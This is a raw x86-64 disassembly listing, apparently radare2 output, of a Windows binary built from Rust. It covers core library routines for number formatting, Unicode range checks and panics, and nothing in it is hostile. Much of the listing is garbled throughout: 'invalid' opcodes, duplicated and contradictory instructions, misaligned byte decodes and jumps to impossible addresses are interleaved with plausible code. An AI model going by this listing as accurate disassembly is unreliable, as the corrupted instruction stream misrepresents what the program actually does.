mov qword [rsp + 0x30], 0x12f
mov qword [rsp + 0x20], 0x11f
lea rdx, [0x1400d93c6]
lea r9, [0x1400d9416]
mov r8d, 0x28
jmp 0x140044807
mov word [rsi], 0x275c
mov qword [rsi + 2], 0
mov word [rsi + 0xa], 0x200
add rsp, 0x48
pop rdi
pop rsi
ret
cmp edi, 0x20000
jae 0x14004481b
lea rax, [0x1400d9204]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0x1c2
mov qword [rsp + 0x20], 0xc4
lea rdx, [0x1400d90e8]
lea r9, str._f__NO
mov r8d, 0x2c
mov ecx, edi
call fcn.140045070
test al, al
je 0x1400446c3
jmp 0x14004489c
lea eax, [rdi - 0xe01f0]
cmp eax, 0x2fe10
jb 0x1400446c3
movd xmm0, edi
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x1400b0730]
pxor xmm0, xmmword [0x1400b0740]
movdqa xmm1, xmmword [0x1400b0750]
pcmpgtd xmm1, xmm0
movmskps eax, xmm1
test al, al
jne 0x1400446c3
lea eax, [rdi - 0x3134b]
cmp eax, 5
jb 0x1400446c3
lea eax, [rdi - 0x323b0]
cmp eax, 0xadd50
jb 0x1400446c3
mov eax, edi
and eax, 0xffffffe0
cmp eax, 0x2a6e0
je 0x1400446c3
mov eax, edi
and eax, 0xfffffffe
cmp eax, 0x2b81e
je 0x1400446c3
mov byte [rsi], 0x80
mov dword [rsi + 4], edi
jmp 0x1400447c6
mov r10, r8
imul rdx, rdx, 0x431bde83
shr rdx, 0x32
imul r10d, edx, 0xf4240
sub eax, r10d
ror byte [rbp + rcx*4 + 0x15], 1
stosb byte [rdi], al
xor al, 9
invalid
ror byte [rbp + rcx*4 + 0x15], 1
stosb byte [rdi], al
xor al, 9
add byte [rcx + rcx*4 + 0x54], cl
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x38], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov rcx, r8
mov ecx, eax
mov r8d, eax
mov eax, eax
mov r9d, 0x186a0
call fcn.140045bf0
nop
add rsp, 0x48
ret
out 3, eax
add byte [rax], al
jbe 0x140045bb6
add eax, dword [rax]
add byte [rsi + 0x4d], dh
mov edx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x26
imul r10d, edx, 0x3e8
add byte [rax], al
add byte [rax], al
sub eax, r10d
lea r10, [0x1400d8fda]
push rbx
xor al, 9
add byte [rcx + rcx*4 + 0x54], cl
and al, 0x30
push rbx
xor al, 9
add byte [rcx + rcx*4 + 0x54], cl
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x38], 3
add eax, dword [rax]
add byte [rax], al
mov rcx, r8
mov ecx, eax
mov r8d, eax
mov eax, eax
mov r9d, 0x64
call fcn.140045bf0
nop
add rsp, 0x48
ret
mov edx, eax
lea rax, str.nssmslibrarycore_src_time.rs
ret 0x8d48
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x38], 2
mov rcx, r8
xor r8d, r8d
xor eax, eax
xor eax, eax
mov r9d, 1
call fcn.140045bf0
nop
add rsp, 0x48
ret
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa0
add byte [rax], al
mov eax, r8d
mov r8, rdx
mov rsi, rcx
mov rbx, qword [rsp + 0x118]
mov ebx, dword [rsp + 0x118]
mov ebx, dword [rsp + 0x118]
add byte [rax], al
mov r14, qword [rsp + 0x110]
mov esi, dword [rsp + 0x110]
mov rdi, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x100]
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x50
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x50
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
movabs rcx, 0x3030303030303030
xor byte [rax], dh
xor byte [rax], dh
xor byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
xor byte [rax], dh
xor byte [rax], dh
xor byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
and al, 0x20
mov byte [rsp + 0x28], 0x30
mov r10, qword [rsi + 0x10]
test eax, eax
je 0x140045e89
test r10, r10
mov rcx, qword [rsi + 0x18]
mov r11d, 9
cmovne r11, rcx
test r11, r11
je 0x140045e95
xor edx, edx
div r9d
int1
int1
add al, 0x30
mov byte [rsp + 0x20], al
test edx, edx
je 0x140045ebd
mov r15d, r9d
mov r12d, 0xcccccccd
int3
imul r12, r15
shr r12, 0x23
and ecx, dword [rcx - 0x7d]
sti
add dword [rdi], ecx
invalid
add dword [rcx], 0
invalid
int3
and ecx, dword [rcx - 0x7d]
sti
add dword [rdi], ecx
test byte [rbx + 0x41000001], al
cmp ecx, 0xa
cmp r9d, 0xa
jb 0x1400461a7
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x21], al
test edx, edx
je 0x140045ec5
imul r12, r15, 0x51eb851f
shr r12, 0x25
cmp r11, 2
je 0x140045e29
cmp r9d, 0x64
jb 0x1400461a7
mov eax, edx
xor edx, edx
div r12d
add al, 0x30
mov byte [rsp + 0x22], al
test edx, edx
je 0x140045ecd
adc byte [rsi - 0x7df0ff68], 0xad
add eax, dword [rax]
add byte [rcx + 0x66d231d0], cl
div r12d
add al, 0x30
mov byte [rsp + 0x27], al
invalid
test dx, dx
je 0x140045ef5
add byte [rax], al
invalid
add byte [rax], al
imul r12, r15, 0x55e63b89
shr r12, 0x39
cmp r11, 8
jne 0x140045efd
movzx edx, dx
mov qword [rsp + 0x30], r11
lea eax, [r12 + r12*4]
cmp edx, eax
jb 0x140045f23
lea rax, [r11 - 1]
mov edx, 0x30
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov r15, rax
movzx r9d, byte [rsp + rax + 0x20]
add al, 0x20
add al, 0x20
lea r12d, [r9 + 1]
add rax, 0xffffffffffffffff
sar bh, 0x40
setb ch
sar bh, 0x40
setb ch
movzx r12d, r12b
cmp r9b, 0x39
cmovae r12d, edx
mov byte [rsp + r15 + 0x20], r12b
jb 0x140045e7d
test bpl, bpl
jne 0x140045e50
cmp r9b, 0x38
jbe 0x140045f23
jmp 0x140045eab
mov rcx, qword [rsi + 0x18]
xor r11d, r11d
jmp 0x140045f1e
mov qword [rsp + 0x30], 0
lea edx, [r9 + r9*4]
adc al, 0x89
adc al, 0x89
cmp edx, eax
jbe 0x140045eab
xor r11d, r11d
xor ebx, ebx
jmp 0x140045f23
inc r8
jne 0x140045f23
invalid
jae 0x140045ef9
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x38], 0
add byte [rax], al
mov al, 1
jmp 0x140045f33
mov r11d, 1
add dword [rax], eax
add byte [rax], al
jmp 0x140045f1e
mov r11d, 2
jmp 0x140045f1e
mov r11d, 8
add byte [rax], al
jmp 0x140045f1e
cmp r9d, 0x5f5e100
jb 0x1400461a7
mov eax, edx
xor edx, edx
div r12w
add al, 0x30
mov byte [rsp + 0x28], al
mov r11d, 9
mov qword [rsp + 0x30], r11
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], 1
xor eax, eax
cmp rcx, 9
mov r9d, 9
cmovb r9, rcx
test r10, r10
cmove r9, r11
mov qword [rsp + 0x48], r9
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x70], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x80], rdx
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x88], rdx
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x90], rdx
lea rdx, [rsp + 0x60]
invalid
mov qword [rsp + 0x98], rdx
cmp qword [rsi], 0
je 0x1400460f9
invalid
cmp rbx, 1
jne 0x140045fac
xor r15d, r15d
xor edx, edx
jmp 0x140046010
invalid
mov rdx, rbx
mov rdx, rbx
and rdx, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r15d, r15d
movdqa xmm1, xmmword [0x1400b06f0]
movdqa xmm2, xmmword [0x1400b0700]
invalid
add byte [rsi + 0xf], ah
invalid
add byte [rax], r8b
invalid
movzx ebp, word [r14 + r15]
movd xmm3, ebp
pcmpgtb xmm3, xmm1
punpcklbw xmm3, xmm3
invalid
fcomi st(2)
pshufw mm3, mm3, 0xd4
pshufd xmm3, xmm3, 0xd4
pshufw mm3, mm3, 0xd4
invalid
pshufw mm3, mm3, 0xd4
pand xmm3, xmm2
paddq xmm0, xmm3
add r15, 2
cmp rdx, r15
jne 0x140045fd0
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq r15, xmm1
cmp rdx, rbx
je 0x140046027
nop
xor r12d, r12d
cmp byte [r14 + rdx], 0xc0
setge r12b
add r15, r12
inc rdx
cmp rbx, rdx
jne 0x140046010
mov r14, qword [rsi + 8]
add r15, rdi
mov edx, 0x14
test al, al
jne 0x1400460c4
test r8, r8
je 0x1400460bf
mov rdi, r8
movabs rdx, 0xdbe6fecebdedd5bf
mov rax, r8
mul rdx
shr rdi, 0xa
shr rdx, 0x21
xor eax, eax
cmp rdi, 0x9502f9
mov edi, 0xa
cmovb edi, eax
cmovb rdx, r8
cmp rdx, 0x186a0
jb 0x140046094
shr rdx, 5
movabs r8, 0xa7c5ac471b47843
mov rax, rdx
mul r8
shr rdx, 7
or edi, 5
lea eax, [rdx + 0x5fff6]
lea r8d, [rdx + 0x7ff9c]
and r8d, eax
lea eax, [rdx + 0xdfc18]
add edx, 0x7d8f0
and edx, eax
xor edx, r8d
shr edx, 0x11
add edx, edi
inc rdx
jmp 0x1400460c4
mov edx, 1
test r10, r10
cmove rcx, r11
inc rcx
test r9, r9
cmove rcx, r9
add rcx, rdx
add r15, rcx
sub r14, r15
jbe 0x1400460f9
movzx eax, byte [rsi + 0x38]
lea rcx, [0x1400ef814]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r12d, r12d
jmp 0x14004611f
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.1400461d0
jmp 0x140046195
mov r12, r14
xor r14d, r14d
jmp 0x14004611f
mov r12, r14
shr r12, 1
inc r14
shr r14, 1
mov rdi, qword [rsi + 0x20]
mov r15, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x30]
inc r12
nop dword [rax]
dec r12
je 0x140046144
mov rcx, rdi
stc
mov edx, ebx
call qword [r15 + 0x20]
test al, al
je 0x140046130
jmp 0x140046155
lea rcx, [rsp + 0x70]
mov rdx, rsi
call fcn.1400461d0
test al, al
je 0x140046159
mov al, 1
jmp 0x140046195
mov r12, r14
mov esp, esi
neg r12
mov rsi, 0xffffffffffffffff
nop word cs:[rax + rax]
add byte [rcx - 0x73], cl
add al, 0x34
lea rax, [r12 + rsi]
cmp rax, 0xffffffffffffffff
je 0x14004618c
clc
push qword [rdx + rdx + 0x48]
mov ecx, edi
mov rcx, rdi
mov edx, ebx
call qword [r15 + 0x20]
and byte [rax - 1], cl
invalid
test al, al
invalid
je 0x140046170
and byte [rax - 1], cl
mov byte [rax + rax*8 + 0x3ebe674], 0x4c
sal byte [rsi + riz*8 - 0x15], 3
mov rsi, r14
sal byte [rsi + riz*8 - 0x15], 3
jmp 0x14004618f
mov rsi, r14
cmp rsi, r14
setb al
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea rcx, [0x1400d8530]
lea r8, [0x1400d8ff8]
mov edx, 0x19
sbb dword [rax], eax
add byte [rax], al
invalid
sbb dword [rax], eax
add byte [rax], al
call fcn.1400aa0a0
ud2
int3
int3
sub esp, 0xc8
mov r14, rdx
mov rsi, rcx
mov rax, qword [rcx]
cmp qword [rax], 0
cmp dword [rax], 0
cmp dword [rax], 0
cmp byte [rax], al
je 0x140046258
mov rax, qword [rax + 8]
mov qword [rsp + 0x98], rax
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
or byte [rax - 0x77], r9b
and al, 0x60
and al, 0x98
add byte [rax], al
add byte [rax - 0x75], cl
or byte [rax - 0x77], r9b
and al, 0x60
lea rax, [0x140051570]
mov qword [rsp + 0x68], rax
and al, 0x68
and al, 0x68
lea rax, [rsp + 0x98]
mov qword [rsp + 0x70], rax
and al, 0x70
and al, 0x70
and al, 0x70
lea rax, [fcn.140041690]
mov qword [rsp + 0x78], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, [0x1400d9010]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
mov dword [rsp + 0x30], 2
and al, 0x30
add al, byte [rax]
add byte [rax], al
and al, 0x30
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
and al, 0x40
add al, byte [rax]
add byte [rax], al
and al, 0x40
add al, byte [rax]
add byte [rax], al
jmp 0x14004629e
mov rax, qword [rsi + 8]
mov qword [rsp + 0x60], rax
lea rax, [0x140051570]
lea eax, [0x140051570]
lea eax, [0x140051570]
mov qword [rsp + 0x68], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
or dword [rax], eax
or dword [rax], eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov rdi, qword [r14 + 0x20]
mov edi, dword [rsi + 0x20]
mov rbx, qword [r14 + 0x28]
lea r8, [rsp + 0x28]
mov rcx, rdi
mov rdx, rbx
call fcn.140042240
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14004642e
mov rax, qword [rsi + 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x1400463d8
invalid
add dword [rax], eax
invalid
invalid
and al, 0x38
mov qword [rsp + 0x40], 1
lea r8, [rsp + 0x28]
mov rcx, rdi
mov rdx, rbx
call fcn.140042240
nop
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r14
ret
add byte [rdx + 9], bh
call fcn.1400aa020
ud2
add byte [rax], al
add byte [rbp - 0x77], al
ret 0x1f0f
mov rcx, r9
mov r9d, r8d
and r9b, 0xf
shr r10b, 4
cmp r9b, 0xa
mov r11d, 0x57
add byte [rax], al
add byte [rax], al
cmovb r11d, eax
add r11b, r9b
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
or al, 0x36
lea r9, [rcx - 1]
cmp r8b, 0x10
mov r8d, r10d
jae 0x140046470
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x1400464e7
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
lea r8, [0x1400e3859]
mov r9d, 2
mov rcx, rdx
sal dword [rdx - 0x4d2d17ff], 1
invalid
call qword [rax - 0x473b7eb8]
invalid
add byte [rax], al
invalid
sal dword [rdx - 0x4d2d17ff], 1
invalid
mov eax, 0xc3000000
ret
lea r8, [0x1400d8b18]
mov edx, 0x80
add al, ch
sub byte [rdx], bh
invalid
add byte [rdi], cl
invalid
add al, ch
sub byte [rdx], bh
invalid
add dword [r8], eax
jmp 0x1400465aa
add dword [rax], 0x83490000
clc
add dword [rbp + 6], esi
cmp r8, 1
jne 0x140046535
mov byte [rcx + 1], 1
jmp 0x1400465aa
cmp r8, 0x11
jae 0x14004656c
xor edx, edx
xor eax, eax
nop
movzx r10d, byte [r9 + rdx]
movzx edx, byte [rcx + rdx]
add r10d, 0xffffffd0
cmp r10d, 9
ja 0x14004652f
lea rax, [rax + rax*4]
mov r10d, r10d
ror byte [rcx - 0x73], cl
add al, 0x42
invalid
ror byte [rcx - 0x73], cl
add al, 0x42
invalid
inc rdx
inc rdx
cmp r8, rdx
jne 0x140046540
invalid
fimul word [rax - 0x77]
or byte [r9], sil
ror byte [rax + 0x45c35e01], 0x31
rol byte [rcx - 0x45], cl
mov qword [rcx + 8], rax
xor eax, eax
mov byte [rcx], al
pop rsi
ret
xor r10d, r10d
mov r11d, 0xa
or al, byte [rax]
add byte [rax], al
or al, byte [rax]
add byte [rax], al
xor eax, eax
nop word [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp r8, r10
je 0x140046562
movzx esi, byte [r9 + r10]
mul r11
seto dl
add esi, 0xffffffd0
cmp esi, 9
ja 0x14004652f
adc dword [rcx - 9], ecx
jrcxz 0x14004659d
nop
ret 0xc683
invalid
or dword [rdi - 0x69], esi
test dl, dl
jne 0x1400465a6
sal byte [rbp + 0xa], cl
mov edx, esi
inc r10
inc r10
add rax, rdx
jae 0x140046580
mov byte [rcx + 1], 2
add dh, byte [rax + 0x5e018801]
mov al, 1
mov byte [rcx], al
invalid
pop rsi
add dword [rsi - 0x3d], ebx
push r15
push rdi
ret
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov r8, rdx
mov rsi, rcx
invalid
cmp qword [rcx], 0
je 0x140046610
invalid
mov r15, qword [rsi + 8]
mov rdx, qword [r8]
mov edx, dword [rax]
mov edx, dword [rax]
adc byte [rcx - 0x75], cl
mov rbx, qword [r8 + 8]
mov r14, qword [r8 + 0x10]
jo case.0x140032218.80
pop rax
or byte [rbp - 0x75], cl
jo case.0x140032218.80
mov r13, qword [r8 + 0x18]
mov qword [rsp + 0x28], rdx
sbb byte [rax - 0x77], cl
push rsp
and al, 0x28
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r13
and al, 0x40
je 0x140046611
cmp byte [rcx + rcx*4 + 0x6c], cl
and al, 0x40
mov ebp, dword [rsi + 0x30]
movzx r12d, byte [rsi + 0x38]
test byte [rsi + 0x34], 8
jne 0x14004662d
mov edi, ebp
mov eax, r12d
loopne 0x140046654
test ebp, ebp
loopne 0x140046654
test ebp, ebp
jne 0x14004667e
jmp 0x14004670e
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
add rsp, 0x48
add esp, 0x48
add esp, 0x48
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
jmp 0x1400467f0
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8, rbx
call qword [rax + 0x18]
push rax
invalid
test al, al
push rax
sbb byte [rax + rax*8 + 0x155850f], al
invalid
test dword [rbp + 1], edx
jne 0x140046798
add byte [rax], al
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
and al, 0x30
add byte [rax], al
add byte [rax], al
xor eax, eax
sub r15, rbx
cmovb r15, rax
mov dword [rsi + 0x30], 0x30
mov byte [rsi + 0x38], 1
mov al, 1
mov edi, 0x30
xor ebx, ebx
test r13, r13
je 0x14004670e
shl r13, 3
lea rcx, [r13*2]
add byte [rcx + rax - 0x17], cl
add byte [rcx + rax - 0x17], cl
xor edx, edx
jmp 0x1400466b1
nop word cs:[rax + rax]
mov r8, qword [r14 + rdx + 0x10]
mov eax, dword [rsi + rdx + 0x10]
mov eax, dword [rsi + rdx + 0x10]
add rbx, r8
add rdx, 0x18
cmp rcx, rdx
je 0x14004670e
movzx r8d, word [r14 + rdx]
test r8, r8
je 0x1400466f0
sub r15, rbx
jbe 0x14004672f
lea rax, [0x1400ef824]
movsxd rcx, dword [rax + r13*4]
add rcx, rax
jmp rcx
mov r13, r15
xor r15d, r15d
jmp case.0x140046725.0
and al, 0x28
call 0x1400467f0
mov dword [rsi + 0x30], ebp
mov byte [rsi + 0x38], r12b
cmp bl, ch
push rax
cmp bl, ch
push rax
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
inc r13
nop word cs:[rax + rax]
dec r13
je 0x140046784
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
test al, al
je 0x140046770
jmp 0x140046798
lea r8, [rsp + 0x28]
mov rcx, rbx
mov rdx, r14
call 0x1400467f0
test al, al
je 0x1400467ab
mov al, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x27], r12b
mov r12, r15
neg r12
mov r13, 0xffffffffffffffff
nop dword [rax]
lea rax, [r12 + r13]
cmp rax, 0xffffffffffffffff
je 0x1400467dc
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
inc r13
test al, al
je 0x1400467c0
jmp 0x1400467df
mov r13, r15
cmp r13, r15
setb al
movzx r12d, byte [rsp + 0x27]
jmp 0x140046741
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rbx, r8
mov ebx, eax
mov rsi, rdx
mov rdi, rcx
mov r8, qword [r8 + 8]
test r8, r8
je 0x140046827
invalid
mov rdx, qword [rbx]
mov rcx, rdi
call qword [rsi + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x140046a4b
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x140046a49
invalid
mov rdx, qword [r12 + 8]
mov edx, dword [rsp + 8]
mov r8, qword [r12 + 0x10]
mov rcx, rdi
call qword [rsi + 0x18]
test al, al
jne 0x140046a45
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x7d], cl
invalid
add r12, 0x18
cmp r12, r13
je 0x140046a49
movzx eax, word [r12]
test rax, rax
je 0x1400468f0
cmp eax, 1
jne 0x140046850
movzx eax, word [r12 + 2]
mov byte [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
movzx ecx, word [r12]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x140046947
movabs byte [0x850f01f983000000], al
movabs al, byte [0x2454b70f41000000]
add byte [rcx + 0xf], al
mov bh, 0x54
push rsp
and al, 2
cmp edx, 0x3e8
invalid
cmp ecx, 1
jne 0x14004694e
invalid
add byte [rcx + 0xf], al
mov bh, 0x54
push rsp
movzx edx, word [r12 + 2]
push rsp
and al, 2
cmp edx, 0x3e8
jae 0x14004698b
cli
call 0x14f0468be
or ebx, 0
add byte [rax], al
mov ecx, 1
cmp dx, 0xa
jb 0x1400469a2
cmp dx, 0x64
mov ecx, 3
sbb rcx, 0
test cl, 1
je 0x14004696a
jmp 0x1400469a2
mov r15, qword [r12 + 8]
cmp r15, 0x41
jb 0x140046922
mov rbp, qword [rsi + 0x18]
nop
mov r8d, 0x40
mov rcx, rdi
mov rdx, rbx
call rbp
test al, al
jne 0x140046a45
add r15, 0xffffffffffffffc0
cmp r15, 0x40
ja 0x140046900
jmp 0x14004692f
test r15, r15
je 0x140046868
mov rbp, qword [rsi + 0x18]
mov rcx, rdi
mov rdx, rbx
mov r8, r15
call rbp
test al, al
je 0x140046868
jmp 0x140046a45
lea rcx, [r12 + 8]
jmp 0x140046953
lea rcx, [r12 + 0x10]
mov rcx, qword [rcx]
cmp rcx, 6
jae 0x140046a5c
test rcx, rcx
je 0x140046983
test cl, 1
jne 0x1400469a2
lea rdx, [rsp + rcx]
add rdx, 0x20
mov r8d, 1
cmp rcx, 1
jne 0x1400469e0
jmp 0x140046a34
xor r8d, r8d
jmp 0x140046a34
movzx ecx, dx
cmp ecx, 0x2710
mov ecx, 5
sbb rcx, 0
test cl, 1
je 0x14004696a
invalid
enter 0xffffffffffff8d48, 0x54
and al, 0x1f
lea rdx, [rsp + 0x1f]
add rdx, rcx
movzx r8d, ax
imul r8d, r8d, 0xcccd
int 0xcc
add byte [rax], al
int 0xcc
add byte [rax], al
shr r8d, 0x13
lea r9d, [r8 + r8]
lea r9d, [r9 + r9*4]
sub eax, r9d
or al, 0x30
mov byte [rsp + rcx + 0x1f], al
mov eax, r8d
mov r8d, 1
cmp rcx, 1
stc
invalid
je 0x140046a34
stc
add dword [rbx + rbx*2 + 0xf], esi
invalid
invalid
nop dword [rax]
add byte [rax], al
add byte [rdi + rcx - 0x49], al
rol byte [rbp + 0x69], 0xc8
int 0xcc
add byte [rax], al
movzx r8d, ax
imul r9d, r8d, 0xcccd
shr r9d, 0x13
lea r10d, [r9 + r9]
lea r10d, [r10 + r10*4]
sub eax, r10d
or al, 0x30
mov byte [rdx - 1], al
imul eax, r9d, 0x199a
shr eax, 0xf
and eax, 0xfffffffe
lea eax, [rax + rax*4]
sub r9d, eax
or r9b, 0x30
mov byte [rdx - 2], r9b
add rdx, 0xfffffffffffffffe
shr r8d, 2
imul eax, r8d, 0x147b
shr eax, 0x11
cmp rdx, r14
jne 0x1400469e0
jmp 0x15491b105
mov r8, rcx
mov rcx, rdi
mov rdx, r14
call qword [rsi + 0x18]
test al, al
je 0x140046868
mov al, 1
jmp 0x140046a4b
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.librarycore_src_fmtmod.rs
mov edx, 5
call fcn.1400aa020
ud2
fimul word [rcx - 0x7d]
ret 0x4803
invalid
invalid
add ecx, dword [rax - 0x7b]
leave
cmove r10, r11
dec r10
lea rcx, [0x1400ef834]
lea ecx, [0x1400ef834]
lea ecx, [0x1400ef834]
or al, byte [rax]
movsxd r10, dword [rcx + r10*4]
adc al, 0x91
add r10, rcx
jmp r10
mov cl, 3
jmp 0x140046b6e
mov cl, 4
jmp 0x140046b6e
add r12d, 0xfffffbcd
test bpl, 1
sete cl
jmp 0x140046b6e
add cl, 0xfe
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x140046c21
mov r11, rax
shr r11, 0x3f
lea rdx, [0x1400d86c2]
lea r10, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
test r8b, r8b
cmovne r10, rdx
mov edx, 1
cmovne r11, rdx
test rax, rax
lea r8, [0x1400e35d9]
cmovns r8, r10
cmp cl, 1
je 0x140046c62
movzx eax, cl
cmp eax, 2
jne 0x140046c94
mov word [rsp + 0x158], 2
test r9, r9
je 0x140046ea0
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], r9
mov edx, 2
lea rax, [rsp + 0x158]
jmp 0x140047f3b
mov word [rsp + 0x158], 2
lea rax, [0x1400d86c3]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
mov edx, 1
lea rax, [rsp + 0x158]
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xor r11d, r11d
jmp 0x140047f3b
mov word [rsp + 0x158], 2
lea rax, [0x1400d86c6]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
lea rax, [rsp + 0x158]
jmp 0x140047f3b
test r12w, r12w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rbx, r12w
imul rcx, rbx
cmp rcx, 0x3ec0
jae 0x140048003
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], r11
mov eax, r9d
neg eax
mov qword [rsp + 0x90], r9
cmp r9, 0x8000
mov edx, 0x8000
cmovb edx, eax
mov dword [rsp + 0x54], edx
test rbp, rbp
je case.0x140032218.89
shr rcx, 4
add rcx, 0x15
mov qword [rsp + 0x58], rcx
mov rdi, rbp
shr rdi, 0x20
mov rax, rbp
shl rax, 0x20
lea ecx, [r12 - 0x20]
test rdi, rdi
cmovne rax, rbp
cmovne ecx, r12d
mov rdx, rax
shr rdx, 0x30
mov r8, rax
shl r8, 0x10
lea r9d, [rcx - 0x10]
test rdx, rdx
cmovne r8, rax
cmovne r9d, ecx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r8, rcx
shl r8, 4
test rax, rax
cmovne r8, rcx
lea ecx, [rdx - 4]
cmovne ecx, edx
mov r9, r8
shr r9, 0x3e
lea edx, [rcx - 2]
lea rax, [r8*4]
test r9, r9
cmovne edx, ecx
cmovne rax, r8
xor ecx, ecx
test rax, rax
setns cl
sub edx, ecx
mov r8d, 0xffffffa0
sub r8d, edx
movsx r8d, r8w
lea r8d, [r8 + r8*4]
shl r8d, 4
add r8d, 0x153b0
imul r9, r8, 0x7b4dc993
shl rax, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea r11, [0x1400d7fc0]
mov r8, qword [r9 + r11]
mov r10d, eax
mov rcx, rax
shr rcx, 0x20
mov eax, r8d
shr r8, 0x20
mov rsi, r8
imul rsi, rcx
imul r8, r10
imul rcx, rax
imul rax, r10
shr rax, 0x20
mov r10d, ecx
add r10, rax
mov eax, r8d
add rax, r10
sub rax, 0xffffffff80000000
shr rcx, 0x20
add rcx, rsi
shr r8, 0x20
add r8, rcx
shr rax, 0x20
add rax, r8
movzx ecx, word [r9 + r11 + 8]
